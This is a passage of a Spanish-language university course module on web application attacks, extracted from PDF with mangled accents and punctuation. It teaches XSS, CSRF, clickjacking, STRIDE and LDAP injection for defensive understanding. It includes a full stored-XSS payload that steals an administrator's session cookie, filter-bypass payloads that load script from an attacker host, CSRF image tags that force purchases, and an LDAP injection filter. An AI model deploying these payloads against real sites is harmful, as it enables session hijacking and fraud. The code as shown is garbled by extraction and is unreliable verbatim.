ltscriptgt var busqueda = [busqueda] ltscriptgt
En este punto no es necesario incluir las etiquetas ltscriptgt sino que po-
demos directamente introducir el coacutedigo Javascript como se refleja en la
siguiente sintaxis No tener que incluir las etiquetas ltscriptgt seraacute impor-
tante cuando sea necesario evitar los filtros anti-XSS que las eliminan
alert(iexclHola Mundo)
Hemos utilizado las barras al final de la sintaxis para lograr que el resto de
la liacutenea Javascript quede comentada y no interfiera en la ejecucioacuten de nues-
tro coacutedigo Esta circunstancia es ahora auacuten maacutes determinante que cuan-
do nos encontramos incorporando el coacutedigo generado al coacutedigo HTML
debido a que si el Javascript no es vaacutelido la mayoriacutea de los navegadores
no lo ejecutaraacuten
ltscriptgt var busqueda =alert(iexclHola Mundo)ltscriptgt
bull Otroscasos los especificados anteriormente son los ejemplos maacutes comu-
nes donde vamos a encontrar que nuestro coacutedigo Javascript se incluye
dentro del coacutedigo HTML de una paacutegina En los casos indicados se ha par-
tido del supuesto de que no existen filtros anti-XSS implementados Jun-
to a los anteriores existen otros casos maacutes complejos para la inclusioacuten de
coacutedigo Javascript como puede ser hacerlo en cabeceras HTTP
113 Diseccionando un ataque
Para entender mejor el funcionamiento de esta teacutecnica vamos a analizar un
ataque desde el inicio hasta el final El ataque consistiraacute en el robo de la co-
okie de sesioacuten del usuario administrador de un sitio web La cookie de sesioacuten
consiste en un pequentildeo fichero (de hasta 4 Kb) que contiene un identificador
uacutenico y que se enviacutea desde nuestro navegador junto a cada peticioacuten que rea-
lizamos hacia un servidor Este identificador asociado a un usuario que se ha
ldquologeadordquo satisfactoriamente en el sistema evita tener que introducir sus cre-
denciales para cada paacutegina que el usuario visita dentro de un mismo dominio
Por lo tanto si obtenemos el identificador de otro usuario y se lo enviamos
al servidor este nos asociaraacute en todo momento al usuario al que estamos su-
plantando
CC-BY-NC-ND bull PID_00191662 13 Ataques a aplicaciones web
El paso principal en todo anaacutelisis en busca de vulnerabilidades de tipo XSS en
una paacutegina web es localizar zonas funcionales de esta que permitan la intro-
duccioacuten de texto donde este se vuelva a mostrar bien de forma permanente
si queda almacenado en una base de datos o bien de forma no permanente
si no es asiacute
En el caso mostrado en la siguiente imagen la paacutegina web ofrece un servicio
de mensajeriacutea entre usuarios que puede ser un ejemplo simple para un posible
ataque XSS
Figura 2 Enviacuteo de mensaje
Para determinar si un campo ya sea un paraacutemetro desde la URL o un campo
de texto donde sea posible escribir es vulnerable a XSS vamos a introducir una
serie de caracteres para comprobar si existe alguacuten filtro anti-XSS Los caracteres
a introducir seriacutean
bull Comilla simple (lsquo)
bull Comilla doble (ldquo)
bull Siacutembolo de mayor que (gt)
bull Siacutembolo de menor que (lt)
bull Barra ()
bull Espacio ( )
Si somos capaces de introducir estos caracteres existe un alto porcentaje de po-
sibilidades de encontrar alguacuten fallo de XSS Sin embargo no podemos asegurar
su existencia de forma totalmente definitiva siempre existe la posibilidad de
encontrarnos con alguacuten otro tipo de filtro que nos impida introducir palabras
clave como script onload o javascript
En el escenario que ahora se plantea se puede introducir cualquier tipo de ca-
raacutecter o cadena de caracteres tras verificar que estos no son filtrados ni blo-
queados Vamos a aprovecharnos de esta situacioacuten para generar nuestro pri-
mer ataque de XSS
En el campo de Para vamos a escribir nuestro propio nombre de usuario evi-
luser De este modo todas las pruebas que realicemos se enviacutean directamente a
este usuario evitando alertar al usuario administrador En el campo del Cuer-
CC-BY-NC-ND bull PID_00191662 14 Ataques a aplicaciones web
po del mensaje vamos a introducir un texto con coacutedigo Javascript que nos
muestre un mensaje de ldquoHola Mundordquo como lo haciacutean ejemplos anteriores El
resultado del coacutedigo introducido antes de enviar se puede ver a continuacioacuten
Figura 3 XSS antes de ser enviado
En este punto es importante detenernos y analizar lo que ocurriraacute cuando ha-
gamos clic en el botoacuten Enviar Aun siendo nosotros los que hemos introducido
y enviado este coacutedigo la vulnerabilidad XSS auacuten no habraacute sido explotada Esto
ocurriraacute cuando con nuestro usuario eviluser naveguemos hasta su bandeja
de entrada Es por esta razoacuten por lo que los fallos de XSS se diferencian del
resto de teacutecnicas Tras pulsar Enviar y desplazarnos a la bandeja de entrada
obtendremos una ventana de alerta con el mensaje especificado
Realmente de lo anterior lo que nos interesa es analizar coacutemo ha quedado el
coacutedigo fuente HTML resultante de los pasos anteriores y seguacuten nos lo devuelve
el servidor
lta href=indexphpaction=deletegtltimg src=trashpng gtBorr
lta href=indexphpaction=logoutgtltimg src=system-log-outpn
ltdiv class=contenidogt
ltp class=autorgt De eviluserltpgtltp class=mensajegtltscriptgt
ltscriptgtltpgtltdivgt
ltdivgt
ltbodygt
Como se puede observar todos y cada uno de los caracteres que hemos intro-
ducido han quedado almacenados en la base de datos y se han copiado en el
coacutedigo HTML generado sin que se les haya aplicado ninguacuten filtro
Una vez demostrado que podemos ejecutar coacutedigo Javascript en la paacutegina se
estaraacute en disposicioacuten de empezar a jugar con sus funcionalidades De este mo-
do seraacute posible crear un coacutedigo que cierre la sesioacuten del usuario automaacutetica-
mente o que borre todos sus mensajes La lista de posibilidades de acciones
maliciosas seriacutea interminable
CC-BY-NC-ND bull PID_00191662 15 Ataques a aplicaciones web
En el ejemplo que estamos exponiendo vamos a desarrollar una accioacuten de
mayor gravedad utilizando para ello tecnologiacutea AJAX (asynchronous Javascript
and XML) pasando a enviar mensajes de manera automaacutetica utilizando para
ello la cuenta del usuario Con ello vamos a conseguir que aquel usuario que
reciba nuestro mensaje nos enviacutee un mensaje a nuestra bandeja de entrada
conteniendo su cookie de sesioacuten Si se lo enviamos a un usuario con privilegios
administrativos lograremos control total sobre la aplicacioacuten
Generalmente seraacute necesaria una buena base de Javascript para explotar de
manera satisfactoria cualquier fallo de XSS En este caso estos conocimientos
deberaacuten ser avanzados Aquiacute se va a facilitar un coacutedigo completamente fun-
cional y que analizaremos liacutenea por liacutenea para que se pueda entender el obje-
tivo del mismo
ltscriptgt
d = ampto=eviluserampenviar=Enviarampmensaje=Mi cookie es +documentcookie
if(windowXMLHttpRequest)
x=new XMLHttpRequest()
else
x=new ActiveXObject(MicrosoftXMLHTTP)
xopen(POSTfuncsendphptrue)
xsetRequestHeader(Content-Typeapplicationx-www-form-urlencoded)
xsetRequestHeader(Content-Lengthdlength)
xsend(d)
ltscriptgt
Este coacutedigo Javascript nos va a permitir recoger la cookie de sesioacuten del usuario
De manera totalmente transparente para el usuario afectado este nos la en-
viaraacute mediante un mensaje Procedamos al anaacutelisis
bull Inicialmente se declara una variable d Esta variable contiene los valores
de ampto ampenviar y ampmensaje que son las variables que se enviacutean en la apli-
cacioacuten cuando mandamos un mensaje Detalle importante a observar es el
contenido de la variable ampmensaje documentcookie un objeto del DOM2
de la paacutegina que contiene todas las cookies asociadas al dominio actual
bull En las liacuteneas siguientes se realiza un ifelse que nos asegura la creacioacuten
de un objeto de tipo XMLHttpRequest tanto en navegadores Internet Ex-
plorer como Firefox o similares Este objeto es el usado para realizar las
peticiones AJAX
bull Con open() establecemos las condiciones que se van a utilizar para enviar el
formulario Seraacute enviado por POST a la url funcsendphp Esto se obtiene
(2)DOM son las siglas de documentobject model Es una manera denombrar cualquier elemento deuna paacutegina web desde la barra dedirecciones hasta un simple tex-to en negrita mediante una no-menclatura jeraacuterquica Por ejem-plo todos los elementos HTML deuna paacutegina estaacuten relacionados endocumentbody
CC-BY-NC-ND bull PID_00191662 16 Ataques a aplicaciones web
analizando de nuevo el formulario de enviacuteo Mediante true se indica que
la peticioacuten seraacute realizada de manera asiacutencrona esto es el navegador no se
quedaraacute ldquocongeladordquo mientras se enviacutea el mensaje
bull Las dos siguientes liacuteneas en las que se llama a la funcioacuten setRequestHeader()
se usan para establecer cabeceras HTTP que hagan que el servidor web
entienda que lo que estamos enviando es un formulario aunque el usuario
no lo haya rellenado
bull Para terminar se invoca a send() pasaacutendole como paraacutemetro la variable d
que teniacuteamos creada desde el principio del coacutedigo Con esto el navegador
realiza las acciones definidas anteriormente y si todo ha salido bien el
usuario afectado nos enviaraacute su cookie de sesioacuten
Para verificar que el ataque se estaacute efectuando seguacuten lo previsto vamos a enviar
un mensaje al usuario admin y desde otro navegador iniciaremos sesioacuten con
nuestro usuario para comprobar asiacute que el coacutedigo cumple con su cometido
Figura 4 XSS antes de ser enviado
Como se puede apreciar en la imagen anterior se ha antildeadido un mensaje en
el cuerpo del enviacuteo para que el usuario administrador no sospeche al recibir
un mensaje vaciacuteo Despueacutes de pulsar el botoacuten Enviar el usuario eviluser solo
tendraacute que sentarse a esperar refrescando su bandeja de entrada hasta que re-
ciba un mensaje de usuario admin con el valor de su cookie de sesioacuten El coacutedi-
go Javascript enviado se podraacute observar dentro del coacutedigo fuente pero pasaraacute
completamente desapercibido para el usuario admin cuando este inicia sesioacuten
con su navegador y automaacuteticamente se le presenta su bandeja de entrada
El coacutedigo HTML recibido por el usuario admin al abrir su bandeja de entrada
seriacutea
ltdiv class=contenidogt
ltp class=autorgtDe eviluserltpgtltp class=mensajegtltscriptgt
d= ampto=eviluserampenviar= Enviar ampmensaje=Mi cookie es +documentcookie
if(windowXMLHttpRequest)
x=new XMLHttpRequest ()
CC-BY-NC-ND bull PID_00191662 17 Ataques a aplicaciones web
else
x=new ActiveXObject (MicrosoftXMLHTTP)
xopen(POSTfuncsendphptrue)
xsetRequestHeader(Content-Type applicationx-www-form-urlencoded)
xsetRequestHeader(Content-Lengthdlength)
xsend(d)
ltscriptgt
iexclQue pagina mas chulaltpgtltdivgt
ltdivgt
ltbodygt
Este coacutedigo ha sido interpretado por el navegador del usuario admin y auto-
maacuteticamente se ha enviado un mensaje al usuario eviluser con la cookie de
sesioacuten
Figura 5 Mensaje recibido por el usuario eviluser
Con esta informacioacuten en su poder el usuario eviluser puede proceder a modi-
ficar el valor de su cookie con el valor recibido De este modo cuando su nave-
gador lo enviacutea al servidor este responde con las paacuteginas correspondientes al
usuario admin
Esta demostracioacuten es un claro ejemplo del potencial que puede llegar a impli-
car un ataque basado en XSS Como se ha visto sin conocer la contrasentildea del
administrador de un sitio web hemos logrado acceder a su cuenta
114 Filtros XSS
En la gran mayoriacutea de las ocasiones no seraacute posible escribir coacutedigo Javascript
directamente como se ha realizado en el ejemplo anterior Habitualmente los
programadores habraacuten establecido una serie de reglas para intentar evitar los
fallos XSS Sin embargo habitualmente los filtros utilizados son implementa-
ciones parciales de lo que deberiacutea ser un filtro antiXSS completo y esto nos
permite introducir nuestro coacutedigo Javascript salvando las dificultades adicio-
nales que se presenten
CC-BY-NC-ND bull PID_00191662 18 Ataques a aplicaciones web
Vamos a plantear una serie de medidasdeproteccioacuten que podemos encon-
trarnos y coacutemo pasar las limitaciones impuestas por estas Esto nos serviraacute para
entender coacutemo piensa un atacante a la hora de introducir coacutedigo XSS y mejo-
rar de este modo nuestras posibles implementaciones de filtros antiXSS
bull Cuandointroducimosloscaractereslsquooldquosecambianporrsquoordquo Esta
teacutecnica es conocida como ldquoescapar los caracteresrdquo y es uacutetil frente a inyec-
ciones SQL aunque no lo es frente a ataques XSS Cuando intentamos ce-
rrar una etiqueta HTML como vimos anteriormente y nos encontramos
con que se estaacuten escapando nuestras comillas pueden darse dos situacio-
nes ambas salvables por parte del atacante La etiqueta queda cerrada co-
mo rsquo o rdquo algo que en HTML es totalmente vaacutelido por lo que podemos
seguir introduciendo coacutedigo Javascript
ltinput type=text name=q value= gt
ltscriptgtalert(documentcookie)ltscriptgt
Es imposible establecer la cadena ldquoiexclHola Mundordquo al no poder escri-
bir correctamente las comillas Son varios los meacutetodos que se pue-
den usar en estos casos Por ejemplo podemos utilizar la funcioacuten
StringfromCharCode() que recibe una lista de coacutedigos ASCII y genera una
cadena
StringfromCharCode(72 111 108 97 32 77 117 110 100 111 33)
Tambieacuten es posible establecer referencias a ficheros Javascript externos
donde podremos usar todos los caracteres que deseemos sin preocuparnos
por ninguacuten tipo de filtro
ltscript src=httpwwwatacantecomxssjsgtltscriptgt
bull ElcoacutedigointroducidonopuedesersuperioraXcaracteres Una limi-
tacioacuten tiacutepica es encontrarnos que no podemos escribir maacutes de un nuacutemero
determinado de caracteres Esta limitacioacuten se puede solventar de nuevo
de dos maneras
ndash Si son varias las variables donde es posible introducir coacutedigo Javascript
podemos usar la suma de los caracteres correspondientes a cada una de
ellas para ampliar el nuacutemero de caracteres disponibles Esto se realiza-
riacutea mediante los caracteres de comentarios multiliacutenea de Javascript
al inicio y al final
ndash Si estamos limitados al tamantildeo un solo campo es posible utilizar un
fichero externo para cargar todo el coacutedigo Javascript necesario Para
reducir la longitud de la direccioacuten URL podemos usar paacuteginas del estilo
tinyurlcom o isgd Asiacute por ejemplo la URL httpwwwvictimacom
xssjs queda traducida a httpisgdowYT
CC-BY-NC-ND bull PID_00191662 19 Ataques a aplicaciones web
ltscript src=httpisgdowYTgtltscriptgt
bull Nopodemosintroducirlacadenascriptonosenospermiteintroducir
loscaracteresdemayorque(gt)ymenorque(lt) Aunque inicialmen-
te podriacutean parecer dos casos distintos al final pueden ser resueltos de la
misma manera Las etiquetas HTML tienen eventos que pueden lanzarse al
ocurrir ciertos sucesos OnLoad cuando se carga el elemento OnMouseO-
ver cuando se desplaza el cursor por encima OnClick cuando se hace clic
sobre eacutel etceacutetera Podemos usar estos elementos para introducir nuestro
coacutedigo
ltinput type=text name=buacutesqueda value=
OnFocus=alert(Hola Mundo) gt
bull Otroscasos Las teacutecnicas de XSS son tan variadas como podamos imaginar
Hay que tener en cuenta que no dependemos de la tecnologiacutea del servidor
sino de la del navegador que esteacuten usando los usuarios Existen teacutecnicas
para ejecutar coacutedigo Javascript que funcionan en Internet Explorer 7 y no
en Firefox 3 o incluso coacutedigo que se ejecuta en Safari 3 pero no lo hace en
la versioacuten 4 Es por ello por lo que no es factible automatizar esta teacutecnica
ni llegar a conocer todos los entresijos de la misma sino que el atacante
deberaacute utilizar su conocimiento y experiencia para lograr introducir el coacute-
digo XSS
12 Cross Site Request Forgery (CSRF)
Una vez entendida la base del XSS es el momento de estudiar algunas teacutecnicas
concretas derivadas de esta y lo que es posible hacer con ellas Una de ellas es
el cross site request forgery (CSRF)
El CSRF es una teacutecnica por la cual vamos a lograr que el usuario realice
acciones no deseadas en dominios remotos Se basa en la idea de apro-
vechar la persistencia de sesiones entre las pestantildeas de un navegador
Vamos a analizar con un ejemplo hipoteacutetico para entenderla
El usuario abre su navegador y entra en el sitio wwwsitio001com En este sitio iniciasesioacuten con su usuario y se le permite realizar una serie de acciones econoacutemicas tales comopujas o compras de objetos A su vez entra en la red social de moda wwwsitio002comdonde tiene sus fotos personales y se escribe mensajes con sus amigos Sin embargoresulta que en el sitio002com tiene un fallo de XSS permanente y un atacante lo va ausar para generar un ataque CSRF
Cuando nos ldquologeamosrdquo en un sitio determinado se nos asocia una cookie de sesioacuten quenos autentica uacutenicamente frente al servidor Esto evita tener que introducir nuestras cre-denciales en cada paacutegina que visitemos Sin embargo no podemos controlar cuaacutendo seenviacutean estas cookies Si nuestro navegador tiene almacenada una cookie asociada a un do-
CC-BY-NC-ND bull PID_00191662 20 Ataques a aplicaciones web
minio la enviaraacute en cada peticioacuten realizada a este dominio incluso si esta no se realizavoluntariamente
En este concepto se basa la teacutecnica de CSRF Vamos a obligar a un usuario a que realiceacciones no deseadas sobre un dominio desde otro Imaginemos que el sitio001comque recordemos permitiacutea transacciones econoacutemicas utiliza URL como la siguiente parala compra de objetos con la tarjeta de creacutedito almacenada
httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes
Si un usuario malintencionado lograse que un usuario autenticado en la paacutegina anteriorrealizase clic sobre el enlace obtendriacutea como resultado la compra del objeto en cuestioacutenEsto es podriacutea engantildear a la gente para comprar objetos que eacutel pusiera a la venta por unprecio desorbitado
Sin embargo un usuario avezado no hariacutea clic sobre un enlace desconocido y recibidopor una persona en la cual no confiacutea Es aquiacute donde entra en juego la teacutecnica de CSRFpermitiendo a un atacante ldquosimularrdquo clics veriacutedicos sobre una aplicacioacuten usando las cre-denciales (cookie de sesioacuten) de un usuario Esta accioacuten mediante XSS es sencilla
Como ya se ha puesto de manifiesto muacuteltiples veces a lo largo de este moacutedulo es nece-sario conocer muy a fondo el funcionamiento de los navegadores En este caso vamos ahacer uso de una condicioacuten que todos los navegadores comparten pues no haremos usode coacutedigo Javascript sino que utilizaremos coacutedigo HTML
Los navegadores web al encontrarse una etiqueta ltimggt siguen la direccioacuten del recursoespecificado en el paraacutemetro src Esto implica una conexioacuten para intentar descargar laimagen y esta puede realizarse entre dominios Si la imagen no se encuentra disponible ola respuesta que se recibe desde el servidor no es interpretable como imagen se mostraraacuteel icono de imagen rota
Un atacante puede aprovechar esta caracteriacutestica de los navegadores para obligar a losusuarios afectados a realizar acciones que no desean Crear una imagen que apunte a ladireccioacuten URL anteriormente indicada generariacutea una peticioacuten por parte de todos los na-vegadores que visitasen la paacutegina que contiene el coacutedigo HTML y que como veiacuteamos in-tentariacutea comprar un objeto en el dominio wwwsitio001com El siguiente coacutedigo HTMLse deberiacutea introducir por ejemplo en un comentario del sitio wwwsitio002com
ltimg src=httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes gt
Como se puede observar la teacutecnica es tan simple como efectiva Es posible hacer usode Javascript para que el ataque sea mucho maacutes discreto Las imaacutegenes disponen de unevento onerror que se lanza al no poder cargar la imagen Esto es parecido al atributoalt que se muestra cuando un navegador no soporta imaacutegenes Usando este evento ymodificando el recurso referenciado en src podemos cargar una imagen existente despueacutesde hacer la modificacioacuten maliciosa a traveacutes de CSRF
ltimg src=httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes onerror=thissrc=logojpgthisonerror=nullgt
Igualmente seriacutea posible desencadenar un ataque de forma maacutes discreta usan-
do CSS (cascading style sheets hojas de estilo para paacuteginas web) para evitar que
la imagen rota que se genera se le muestre al usuario
El ataque anteriormente descrito se ha podido llevar a cabo gracias a que la
paacutegina de sitio001com acepta peticiones GET aquellas donde los paraacutemetros
se remiten en la URL en lugar de requerir POST para los enviacuteos de informacioacuten
Una peticioacuten GET siempre seraacute maacutes faacutecil de manipular que una peticioacuten POST
Esto es asiacute porque para generar una peticioacuten POST debemos escribir coacutedigo
Javascript el cual puede entrar en conflicto con posibles filtros antiXSS que
existan en la aplicacioacuten
CC-BY-NC-ND bull PID_00191662 21 Ataques a aplicaciones web
Sin embargo y aunque establecieacutesemos como requisito indispensable que las
peticiones se realicen mediante POST esto no nos garantizariacutea la seguridad de
nuestra paacutegina ni de nuestros clientes
Para mejorar la seguridad frente a un posible ataque podemos hacer uso de las
cabeceras Referer Estas indican la paacutegina desde la que se ha llegado a otra Se
utilizan por ejemplo para conocer cuaacuteles son las buacutesquedas que permiten a
un usuario llegar a un sitio web desde un buscador Una medida de proteccioacuten
aunque se puede saltar seriacutea comprobar que las peticiones realizadas a nuestras
paacuteginas o al menos a aquellas que impliquen acciones sensibles se realicen
desde nuestro propio dominio
La uacutenica proteccioacuten real frente a ataques de CSRF es la de establecer una serie
de valores numeacutericos que se generen de manera uacutenica en cada peticioacuten Estos
pueden ser establecidos como un CAPTCHA que el usuario debe introducir al
realizar acciones criacuteticas o como un valor oculto en un campo hidden dentro
del coacutedigo de la paacutegina que comprobamos cuando el usuario nos devuelve la
peticioacuten Estas medidas aunque tediosas de programar nos permiten asegurar
los datos de nuestros usuarios
Como usuarios de aplicaciones posiblemente vulnerables a CSRF podemos
tomar una serie de precauciones que intenten evitar un ataque mediante esta
teacutecnica Las medidas son
bull Cerrar la sesioacuten inmediatamente tras el uso de una aplicacioacuten
bull No permitir que el navegador almacene las credenciales de ninguna paacutegi-
na ni que ninguacuten servidor mantenga nuestra sesioacuten recordada maacutes que
durante el tiempo de uso
bull Utilizar navegadores distintos para las aplicaciones de ocio y las criacuteticas
Con esto nos aseguramos la independencia de las cookies de sesioacuten entre
navegadores
13 Clickjacking
Las teacutecnicas de clickjacking son una amenaza reciente para los navega-
dores y sus usuarios Se basan en engantildear a los usuarios para que ha-
gan clic sobre elementos de un sitio web donde ellos nunca lo hariacutean
voluntariamente
Esto se consigue superponiendo dos paacuteginas
CC-BY-NC-ND bull PID_00191662 22 Ataques a aplicaciones web
bull Una la principal con la paacutegina donde queremos que realmente los usua-
rios hagan clic en zonas especiacuteficas como por ejemplo un banco para rea-
lizar una transferencia
bull Otra la que sirve como engantildeo superpuesta sobre la anterior y con con-
tenidos que sirvan de aliciente para que el usuario realice los clics en las
zonas deseadas por ejemplo un pequentildeo juego donde debemos cliquear
en determinadas zonas
Esta teacutecnica se basa en el uso de iframes superpuestos Los iframes son elemen-
tos HTML que permiten la inclusioacuten de un recurso externo dentro de nuestra
paacutegina Aunque contienen una serie de limitaciones a la hora de acceder a
ellos mediante Javascript son de posible uso para engantildear al usuario
1) El primer paso es generar una paacutegina con la URL que se quiere secuestrar y
que seraacute la base sobre la que colocaremos el resto de elementos que nos haraacuten
falta para llevar a cabo esta teacutecnica
Figura 6 Paacutegina a secuestrar
2) El siguiente paso es colocar un iframe con su veacutertice superior izquierdo
exactamente en el lugar donde deseamos que el usuario engantildeado realice el
clic Esto se hace asiacute para asegurar que independientemente del navegador el
clic se ejecute sin problemas
CC-BY-NC-ND bull PID_00191662 23 Ataques a aplicaciones web
Figura 7 IFRAME sobre el sitio original
3) Finalmente se deberaacute efectuar una colocacioacuten y distribucioacuten de los elemen-
tos en la paacutegina que efectuacutea el engantildeo Es recomendable en este sentido crear
alguacuten tipo de incentivo para que el usuario se vea interesado en realizar el
clic que se persigue a fin de capturar su pulsacioacuten y transmitirla a la paacutegina
original
Figura 8 Colocacioacuten del IFRAME para engantildear al usuario
CC-BY-NC-ND bull PID_00191662 24 Ataques a aplicaciones web
Esta teacutecnica fue implementada y presentada por primera vez por Jeremiah
Grossman y Robert Hansen Ambos investigadores propusieron el ejemplo pre-
sentado en las imaacutegenes anteriores como meacutetodo para que un usuario activase
una serie de caracteriacutesticas no deseadas de su reproductor Flash Esto se logroacute a
traveacutes de una aplicacioacuten Flash ubicada en la paacutegina de Adobe para la configu-
racioacuten de seguridad del plugin como se puede observar en la siguiente imagen
Figura 9 Configuracioacuten de seguridad de Flash Player
Esta vulnerabilidad implica la necesidad de proteccioacuten por parte de los nave-
gadores ya que esta teacutecnica de nuevo utilizaraacute el navegador del usuario para
interactuar con el servidor Es por eso por lo que algunos navegadores aportan
directamente protecciones contra esta teacutecnica
bull Firefox no implementa por defecto ninguacuten meacutetodo para proteger a sus
usuarios frente a esta teacutecnica de ataque Sin embargo a traveacutes de la exten-
sioacuten NoScript que hace uso del meacutetodo ClearClick evita que un usuario
sea engantildeado para hacer clic sobre un elemento previamente falseado
CC-BY-NC-ND bull PID_00191662 25 Ataques a aplicaciones web
Figura 10 Clickjacking bloqueado
bull InternetExplorer8 incorpora de serie una proteccioacuten frente a esta teacutecni-
ca que permite a los programadores web incluir una cabecera x-frame-op-
tions que si figura establecida como deny impide que la paacutegina que la en-
viacutea sea renderizada dentro de un iframe Tambieacuten incluye la posibilidad de
establecer el valor como sameorigin para permitir que uacutenicamente pueda
ser cargada si la peticioacuten se realiza desde el mismo dominio
Figura 11 IFRAME bloqueado desde Internet Explorer 8
bull En el resto de navegadores como GoogleChromeOperaSafarieInter-
netExplorer en versiones anteriores a la 8 la uacutenica medida de proteccioacuten
y de tipo parcial consiste en deshabilitar todos los elementos dinaacutemicos
tales como Javascript Java o la opcioacuten de cargar iframes en nuestro nave-
gador
CC-BY-NC-ND bull PID_00191662 26 Ataques a aplicaciones web
2 Ataques de inyeccioacuten de coacutedigo
Las inyecciones de coacutedigo son algo a la orden del diacutea actualmente en Internet
Permitir que un usuario introduzca cualquier paraacutemetro en nuestra aplicacioacuten
puede dar lugar al acceso a informacioacuten privilegiada por parte de un atacante
Las teacutecnicas de ataque que puede sufrir un sistema se han catalogado de forma
geneacuterica con el acroacutenimo STRIDE Cada una de las siglas hace referencia a un
tipo de ataque
1)Spoofing(suplantacioacuten) Hace referencia a cualquier teacutecnica que permita
a un atacante tomar una identidad que no le corresponde Estas teacutecnicas de
ataque se usan de forma muy extendida en Internet a varios niveles
a) Nivel de enlace
Suplantacioacuten de direccioacuten fiacutesica Esta teacutecnica se usa para saltar protecciones
de direccioacuten MAC muy utilizadas en redes inalaacutembricas o reservas activas en
servidores DHCP ( dynamic host configuration protocol)
b) Nivel de Red
bull Suplantacioacuten de Direccioacuten IP Se utilizan para saltarse protecciones res-
tringidas a determinadas direcciones IP Se hicieron famosas en el ataque
a servicios Trusted Hosts en los que se permitiacutea a un usuario ldquologarserdquo
directamente en un servidor sin introducir contrasentildea si veniacutea ldquologadordquo
desde un servidor con una direccioacuten IP en concreto
bull Hijacking Buscan conseguir el control de una conexioacuten mediante la su-
plantacioacuten del validador que mantiene la sesioacuten abierta y autenticada En
el caso del nivel de red el objetivo es controlar el socket mediante la su-
plantacioacuten del nuacutemero de secuencia
c) Nivel de Aplicacioacuten
bull Suplantacioacuten de resultados DNS Se utilizan para conseguir que la viacutectima
crea que el servidor al que se conecta es el de verdad Teacutecnicas de modi-
ficacioacuten de archivos hosts implantacioacuten de servidores DHCP ataques de
envenenamiento de cacheacute a servidores DNS mediante la teacutecnica de ldquoLa fe-
cha del cumpleantildeosrdquo son utilizados para lograr este objetivo
bull Phising El impacto de esta teacutecnica de ataque en la sociedad ha hecho que
hoy en diacutea la mayoriacutea de la gente se preocupe por esto El objetivo de esta
teacutecnica es hacer creer a la viacutectima que se estaacute conectando a una aplicacioacuten
CC-BY-NC-ND bull PID_00191662 27 Ataques a aplicaciones web
mediante la suplantacioacuten de un sitio web completo Se apoya en las teacutec-
nicas de suplantacioacuten de DNS
bull Hijacking Es similar al de a nivel de red pero aquiacute se busca suplantar el va-
lidador que utiliza el nivel de aplicacioacuten Este puede ser un nuacutemero iden-
tificador de sesioacuten en una cookie un campo hidden de una paacutegina web o
un paraacutemetro por GET o por POST
bull Suplantacioacuten de usuarios El objetivo de esta teacutecnica de ataque es la de
usurpar la identidad de un usuario para realizar las acciones en su lugar
2)Tampering Implica el intento de forzar el funcionamiento de alguacuten meca-
nismo de seguridad mediante la falsificacioacuten o la alteracioacuten de la informacioacuten
Estas teacutecnicas son utilizadas para modificar ficheros de registro de acceso mo-
dificar la informacioacuten real o alterarla en su traacutensito desde el emisor al receptor
de la misma
3)Repudiation Son teacutecnicas mediante las que se evita la certificacioacuten o ga-
rantiacutea de un hecho Si un sistema no garantiza el no-repudio no se puede ga-
rantizar que la informacioacuten que contiene o emite sea veraz Tienen especial
relevancia en entornos de anaacutelisis forense o sistemas contractuales
4) InformationDisclosure Vulneracioacuten de la seguridad de un sistema que
implica que un usuario no permitido acceda a informacioacuten o documentacioacuten
sensible Este tipo de vulnerabilidades son especialmente importantes y estaacuten
protegidas por legislaciones especiales sobre todo los datos de caraacutecter perso-
nal En Espantildea se regula la seguridad de los datos mediante la Ley Orgaacutenica
de Proteccioacuten de Datos (LOPD)
5)DenialofService Las vulnerabilidades de denegacioacuten de servicio son aque-
llas que interrumpen la continuidad de los procesos de negocio o servicio de
una compantildeiacutea Estas vulnerabilidades pueden suponer un serio impacto en
los intereses de las compantildeiacuteas Los ataques basados en ordenadores zombis (
botnets) los ataques de parada de servicios o los ataques a las liacuteneas de comu-
nicacioacuten de las empresas son objetivos de este tipo de ataques
6)Elevationofprivilege Se produce este fallo de seguridad cuando un usuario
puede cambiar su nivel de privilegios dentro de un sistema para acceder a
informacioacuten o servicios que estaacuten restringidos para su identidad La elevacioacuten
de privilegios es una vulnerabilidad que suele ser el origen de brechas que
conllevan a denegacioacuten de servicio o descubrimiento de informacioacuten
A partir de esta clasificacioacuten de ataques es posible estudiar en profundidad la
implementacioacuten de ataques reales que normalmente podriacutea aparecer simul-
taacuteneamente en varias de las categoriacuteas anteriores
CC-BY-NC-ND bull PID_00191662 28 Ataques a aplicaciones web
La inyeccioacuten de comandos es una teacutecnica de ataque a aplicaciones web cuyo
objetivo principal es aprovechar conexiones a bases de datos desde aplicacio-
nes web no securizadas para permitir a un atacante la ejecucioacuten de comandos
directamente en la base de datos
21 LDAP Injection
Vamos a mostrar las posibilidades y riesgos de los ataques LDAP Injection en
aplicaciones web Con estos ejemplos se quiere demostrar coacutemo es posible
realizar ataques de elevacioacuten de privilegios de salto de protecciones de acceso
y de acceso a datos en aacuterboles LDAP mediante el uso de inyecciones de coacutedigo
LDAP Estas inyecciones de coacutedigo se han clasificado en inyecciones
bull And LDAP Injection
bull OR LDAP Injection y
bull Blind LDAP Injection
Para probar estas teacutecnicas de inyeccioacuten se han utilizado los motores ADAM
de Microsoft y el motor OpenLDAP un producto Software Libre de amplia
implantacioacuten a nivel mundial
211 LDAP Injection con ADAM de Microsoft
Para realizar todas las pruebas de las cadenas a inyectar se ha utilizado la herra-
mienta LDAP Browser que permite conectarse a distintos aacuterboles LDAP y un
cliente web sinteacutetico creado con el componente IPWorksASPLDAP de la em-
presa n Software para realizar las pruebas de ejecucioacuten de filtros inyectados
En la figura 12 se muestra la estructura que se ha creado de ejemplo en ADAM
Figura 12 Estructura del aacuterbol LDAP creado en ADAM
CC-BY-NC-ND bull PID_00191662 29 Ataques a aplicaciones web
Supongamos ahora que la aplicacioacuten web utiliza una consulta con el siguiente
filtro (cn=Impresora_1) Al lanzar esta consulta se obtiene 1 objeto como
se puede ver en la figura 13
Figura 13 Objeto de respuesta con el filtro (cn=Impresora_1)
Lo deseable por un atacante que realice una inyeccioacuten seriacutea poder acceder a
toda la informacioacuten mediante la inclusioacuten de una consulta que nos devolviera
todas las impresoras En el ejemplo vemos cuaacutel deberiacutea ser el resultado a ob-
tener con una consulta siguiendo el formato definido en las RFC sobre ADAM
(|(cn=Impresora_1)(cn=Impresora))
CC-BY-NC-ND bull PID_00191662 30 Ataques a aplicaciones web
Figura 14 Todas las impresoras
